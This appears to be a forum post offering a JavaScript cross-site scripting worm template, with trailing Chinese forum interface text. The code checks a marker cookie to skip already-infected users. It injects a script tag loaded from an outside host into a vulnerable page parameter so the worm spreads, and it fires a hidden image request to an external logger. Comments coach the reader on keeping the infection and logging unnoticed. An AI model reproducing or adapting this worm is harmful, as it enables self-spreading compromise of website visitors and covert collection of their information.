function createCookie(name,value,days) {
if (days) {
var date = new Date();
date.setTime(date.getTime()+(days*24*60*60*1000));
var expires = "; expires="+date.toGMTString();
}
else var expires = "";
document.cookie = name+"="+value+expires;
} // create a cookie
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for(var i=0;i < ca.length;i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1,c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
}
return null;
} // read a cookie
var qcd = readCookie('fake'); /* you need a way so when a user already infected views the page they don't get the worm again. Their are other ways of doing this, but i figure since you have access to js on the site, why not create cookies on the site :-p. If you are worried about someone noticing a cookie that doesn't normally exist on their system, just change the method used */
if( qcd != "592570942") // if the cookie doesn't exist, insert the worm.
{
var inject = "<script src='http://themostbasic.nonhidden/formofincludingjs'></script>";
if (window.ActiveXObject){
var http = new ActiveXObject("Microsoft.XMLHTTP");
} // this will only work on IE users, search ajax to learn how to make this code cross-browser compatable.
http.open("GET", "http://www.site.com/vulnerablepage.php?injectionvariable="+inject, true);
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
tell = http.responseText;
}
}
http.send(null);
http.close;
new Image().src='http://externalsite.com/logger.php?redirect=thispage'; // this is optional, it will send the user to an external site to log information. If you know how, do this without redirecting and in the background alog with the ajax to make it 100% hidden.
感谢
使用道具 举报